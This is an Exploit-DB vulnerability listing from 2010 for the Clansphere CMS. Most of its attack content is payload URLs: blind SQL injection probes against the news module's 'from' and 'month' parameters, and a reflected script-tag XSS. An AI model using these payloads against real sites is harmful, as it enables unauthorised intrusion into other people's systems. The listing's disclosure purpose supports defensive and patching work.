Clansphere Multiple vulnerabilities

vendor:

Clansphere

by:

Sweet

7,5

CVSS

HIGH

Multiple vulnerabilities

N/A

CWE

Product Name: Clansphere

Affected Version From: all

Affected Version To: all

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WinXp sp3

2010

Clansphere Multiple vulnerabilities

Clansphere offers some nice features for you to easily set up and maintain your proper clan site within minutes!

Mitigation:

N/A

Source

Exploit-DB raw data:

############################################################################
#                                                                          #
# Exploit Title: Clansphere Multiple vulnerabilities                       #
#                                                                          #
# Date: 24/08/2010                                                         #
#                                                                          #
# Author: Sweet                                                            #
#                                                                          #
# Contact : charif38@hotmail.fr                                            #
#                                                                          #
# Software Link:                                                           #
#                                                                          # 
# Download:http: http://sourceforge.net/projects/clansphere/               #
#                                                                          # 
# Version: all                                                             #
#                                                                          #
# Tested on: WinXp sp3                                                     #
#                                                                          #
# Risk : HIGHT                                                             #
#                                                                          #
#                                                                          #
# Description :  clansphere offers some nice features for                  # 
#                                                                          #
# you to easily set up and maintain your proper clan site within minutes!  #
#                                                                          #
############################################################################

1- Blind Sql injection :

http://www.target.com/clanspherepath/index.php?mod=news&action=recent&id=0&from=list'+and+31337-31337=0+--+

http://www.target.com/clansphere/index.php?mod=news&action=recent&year=2009&month=8"+and+31337-31337=0+--+

2-Xss :

http://www.target.com/clansphere/index.php/>"><ScRiPt>alert("sweet")</ScRiPt>


Saha Ftourkoum et 1,2,3 viva L'Algerie :))